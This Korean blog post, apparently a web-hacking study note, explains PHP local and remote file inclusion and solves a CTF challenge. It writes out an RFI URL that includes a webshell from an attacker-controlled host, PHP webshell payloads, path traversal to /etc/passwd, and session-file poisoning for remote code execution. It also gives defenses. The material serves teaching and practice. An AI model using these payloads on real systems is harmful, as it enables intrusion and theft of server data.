File Inclusion 취약점
웹사이트를 만들 때, 특히 PHP로 구현하다보면 include(), require() 등의 함수로 같은 디스크의 다른 파일 또는 네트워크 너머의 파일에 있는 코드를 포함하는 경우가 있습니다. 이는 웹 애플리케이션이 더욱 강력하고 역동적이 되게 하는 대신 치명적인 risk를 유발하는데, 바로 민감한 정보를 제거하지 않은 사용자 데이터를 include()에 전달할 수 있다는 점입니다.
File Inclusion은 크게 두 가지, LFI(Local File Inclusion, 로컬 파일 인클루전)와 RFI(Remote File Inclusion, 원격 파일 인클루전) 으로 나뉩니다. 하나씩 살펴보고, 예제도 하나 풀어보겠습니다.
RFI (원격 파일 인클루전)
[설명]
공격자가 자신의 서버에 파일(ex.쉘코드)을 미리 준비시켜두고, 취약 서버가 해당 파일을 소스코드로 include 시키도록 만드는 공격.
[원인]
서버 측 코드에 원격 파일이 포함될 수 있게 허용한 것.
(ex. PHP 설정에서 allow_url_include=On 되어있는 경우, open_basedir 우회 가능한 경우 등등..)
[예시]
여기 주소가 하나 있습니다.
http://webshell.inernal/vulnerabilities/fi/
웹사이트를 살펴보니 해당 페이지가 Get 방식으로 page 파라미터를 사용해 임의의 페이지가 포함되게 지정하고 있었다고 가정합시다.
http://webshell.inernal/vulnerabilities/fi/?page=about.php
그런데 만약 page 파라미터에 대한 적절한 입력값 검사가 없고(예컨대 include($_GET['page'])와 같은 형태로 입력받은 정보를 그대로 포함하고 있고), 심지어 외부 서버의 파일까지 허용하고 있다고 가정합시다(예컨대 PHP 설정 상 allow_url_include=On 인 경우).
이렇게 되면 공격자는 그 어디에 있는 어떤 파일이라도 서버에 로딩해서 표시할 수 있습니다.
먼저, 공격자가 통제하는 c2.nailed.ml 이라는 서버에 다음과 같이 웹쉘 파일을 생성합니다.
root@nailed:~# curl http://c2.nailed.ml/virus.txt
<?php system('cat /etc/passwd'); ?>
root@nailed:~#
그리고 해당 파일을 include 시키면 끝입니다.
http://webshell.inernal/vulnerabilities/fi/?page=http://c2.nailed.ml/virus.txt
이제 웹페이지에서 반환된 /etc/passwd의 내용을 확인하면 됩니다.
LFI(로컬 파일 인클루전)
LFI 취약점은 여전히 강력하며 종종 발생합니다. 애플리케이션이 디스크에 있는 다른 파일에서 코드를 가져오는 기능이 유용할 때가 많기 때문입니다. 이는 애플리케이션의 모듈화와 유지보수 측면에서 장점이 매우 많습니다. 다만 공격자로부터 원치 않는 데이터가 포함될 수 있다는 취약점이 있습니다. 특히, 파일 업로드와 파일 인클루전의 조합은 엄청난 파급 효과를 불러올 수 있습니다.
[설명]
취약 서버에 미리 업로드된 파일(ex.쉘 코드)을 해당 서버의 소스코드에 include 시키도록 만드는 공격.
[원인]
서버 측 코드에 로컬 파일이 포함될 수 있게 허용한 것.
[예시]
파라미터로 local 파일을 include하고 있는 취약한 웹 주소가 있습니다.
http://webshell.inernal/vulnerabilities/fi/?page=about.php
소스코드가 include($_GET['page']); 의 형태일 것이라고 추측됩니다. 이제 공격자는 다음과 같은 웹쉘 파일을 취약 서버에 저장합니다.
<?php
system('cat /etc/passwd');
?>
만약 서버가 위 악성 쉘 파일을 업로드 하는 것도 못 막았다면, 그 서버는 파일 업로드 취약점도 동시에 갖고 있는 셈입니다. 이제 해당 파일이 저장된 경로를 찾아내고, 그 경로를 다음과 같이 파라미터로 전달합니다.
http://webshell.inernal/vulnerabilities/fi/?page=../files/nailed.php
이제 파일이 로드되어 웹 페이지에 반환된 /etc/passwd의 내용을 확인하면 됩니다.
문제점 및 해결 방법
[문제점]
File inclusion 공격은 공격자가 업로드한 악성 쉘 파일(.php) 등을 타겟 서버가 '읽고' 직접 '실행(execute)'한 뒤 그 결과를 반환하는 과정으로 행해지기 때문에, 해당 취약점만으로 서버의 소스 코드 탈취는 불가능합니다. 그러나 웹 쉘 업로드를 통해 원격 코드 실행이 가능해진다면 DB 탈취는 가능합니다. 파일 업로드 기능 및 include() 함수는 웹페이지에서 흔하게 구현되는 요소인 만큼, 아주 다양한 우회 가능성이 존재하기 때문에 유의해야합니다.
[해결 방법]
1. 화이트리스트
가장 이상적이지만, 도메인과 IP가 자주 바뀌는 환경(CDN, 클라우드..)에서는 화이트리스트를 관리하는데 많은 자원이 필요할 수 있습니다. 또한 애플리케이션의 중요성이 커서 중간에 멈추고 살펴볼 시간이 없다면, 솔루션을 자동화하는 것이 필수지만 이것 역시 보안 위험을 일으킬 수 있습니다.
2. 블랙리스트
현재와 미래의 모든 공격 입력값을 아는 것은 불가능하기 때문에 권장되지 않는 방식입니다. 하지만 시간 및 자원의 제약으로 인해 블랙리스트 방식이 여전히 사용되고 있습니다.
3. 네트워크 수준에서 RFI 제한
RFI 방어에 해당됩니다. 애플리케이션 출구 트래픽을 면밀히 검사함으로써 알려진 서버에 대해서만 연결을 허용하는 방식입니다. 이론적으로 좋은 방법이 될 수 있습니다.
CTF 문제 풀이
[목표]
flag 파일 찾기
[목표 웹사이트]
http://ctf.segfaulthub.com:9023/webshell_3/
[풀이]
로그인 후 '인사말' 게시판 접속합니다.

English, 한국어, 일본어 등 버튼 클릭 시 가운데 회색 영역의 인삿말이 해당 나라 언어로 바뀌며, 이를 lang이라는 파라미터로 구현하고 있음을 확인합니다.
http://ctf.segfaulthub.com:9023/webshell_3/greet.php?lang=ko.php

버튼의 html 코드를 확인해보면 좀 더 분명하게 알 수 있습니다.
<div class="col-xs-12 col-sm-12 col-md-12">
<input type="button" class="btn btn-lg btn-success btn-block" value="English" onclick="location.href='./greet.php?lang=en.php'">
<input type="button" class="btn btn-lg btn-success btn-block" value="한국어" onclick="location.href='./greet.php?lang=ko.php'">
<input type="button" class="btn btn-lg btn-success btn-block" value="日本語" onclick="location.href='./greet.php?lang=jp.php'">
<input type="button" class="btn btn-lg btn-success btn-block" value="español" onclick="location.href='./greet.php?lang=sp.php'">
</div>
이제 해당 페이지를 burp repeater로 넘긴 후 include 취약점이 있는지 확인해보기 위하여 알려진 경로를 입력합니다.
GET /webshell_3/greet.php?lang=../../../../../../../etc/passwd
그러자 etc/passwd가 출력되는 것을 알 수 있습니다.

만약 웹쉘 파일을 업로드할 수만 있다면, 해당 파라미터에 전달하기만 하면 됩니다. 이전 파일 업로드 취약점 문제들과는 달리 웹쉘 파일 확장자가 .png로 끝나더라도 include 함수를 통해 php 소스코드 안에 파일 content가 고스란히 전달되므로, 즉시 실행(execute)시킬 수 있습니다.

위처럼 파일 업로드를 완료하고 만약 파일 경로를 파악하는 데에도 성공했다면, 다음과 같이 원격 코드 실행(Remote Code Execution, RCE)을 수행합니다.
GET /webshell_3/greet.php?lang=../files/1/smile2.png&cmd=whoami

이제 find 명령어로 flag 경로를 찾은 뒤, cat 명령어로 해당 파일을 열람하면 됩니다.
find / -name flag* 2>/dev/nul
이미지 파일 여부를 검사하는 경우
만약 보안 수준이 높아 JPEG나 PNG 파일 외에 어떤 것도 업로드할 수 없다면, 웹 쉘 파일 업로드 단계에서 막힐 수 있습니다. 이런 경우 진짜 이미지 파일에 exiftool을 이용하여 comment 항목 등에 php 코드를 숨기는 방법이 가능합니다. 자세한 방법은 https://youtu.be/sUYs3lZ9AHg?si=Ha8FOcF0e98aQ7Sq 를 참고하세요.
다음은 이미지 파일 comment 항목에 php 코드를 삽입한 것입니다

이제 업로드한 뒤, include 취약점이 발생한 웹 페이지에서 파라미터를 통해 명령어를 넣어보면

다음과 같이 결과가 잘 출력되는 것을 확인할 수 있습니다.

만일 파일 업로드 기능이 없다면 ?
include 취약점은 찾았는데, 파일을 업로드하는 곳이 없을 수 있습니다. 이런 경우 access.log나 error.log와 같이 클라이언트가 변조할 수 있는 데이터를 서버에 자동 저장하는 곳을 찾으면 해킹이 가능합니다.
위 CTF 문제의 경우, ls를 이용해서 이러한 경우의 수를 하나하나 찾아보았지만 전부 접근이 막혀있어 실행이 어려웠습니다.
한 군데는 빼고요.
GET /webshell_3/greet.php?lang=../../../../../var/lib/php/sessions/sess_xxxxxx
sess_뒤의 xxxx부분에는 현재의 세션 쿠키값을 넣으면 됩니다. 서버에서 자동 생성하는 파일입니다.
해당 파일을 확인해보니, 다음과 같은 response를 출력해주고 있었습니다.
id|s:6:"nailed"
앞의 숫자는 글자 수, 뒤의 따옴표 안에는 id가 그대로 노출되고 있습니다. 어쩌면 id에 웹쉘 코드를 입력하면, 해당 파일을 include하면서 실행될지도 모르겠습니다. 가입할 때 id를 입력하는 란에 <?"';를 입력해봅니다. 그러자 "와 '만 필터링되는 것을 알 수 있었고, id에 다음과 같이 입력하여 가입에 성공하였습니다.
id : <?php echo system($_GET[cmd]); ?>
여기서 따옴표 없이도 실행되는지에 대해서는 PHP 버전에 따라 차이가 있을 수 있습니다. 7.0 이상에서는 반드시 따옴표를 붙여야 합니다.
아무튼 이제 파라미터로 전달하면 결과가 출력됩니다.
GET /webshell_3/greet.php?lang=../../../../../var/lib/php/sessions/sess_xxxxxx&cmd=whoami
<div class="jumbotron">
<p class="lead"></p>
id|s:33:"uid=1000(www-data) gid=50(staff) groups=50(staff)
uid=1000(www-data) gid=50(staff) groups=50(staff)";
</div>
참고로 블로그를 작성하면서 해당 취약점을 재현해보려고 똑같은 방법으로 공격을 시도했는데, 이제는 id 가입 과정에서 전부 인코딩이 적용되도록 바뀌어 사실상 막혔습니다. 이런 경우 다른 공격 방법과 합쳐서 한번 더 우회가 가능할 수도 있겠습니다.
핵심은 파일 업로드 기능이 없어도 include 취약점을 이용할 수 있는 방법은 존재한다는 것입니다.
References
- 아드리안 프루티아누 저, <침투본능, 해커의 기술>
- HMCyberAcademy, https://youtu.be/sUYs3lZ9AHg?si=02GgI0hpVWer-Qag
- SegFault Academy
'Learning Web > 2024~2025 Web Hacking' 카테고리의 다른 글
| [Web Hacking] File Download 취약점 (0) | 2025.02.15 |
|---|---|
| [Web Hacking] 인증/인가 취약점 (0) | 2025.02.14 |
| [Web Hacking] File Upload 취약점 (0) | 2025.02.09 |
| 로그인 페이지에서 SQL injection 방지 : prepared statement (0) | 2025.02.03 |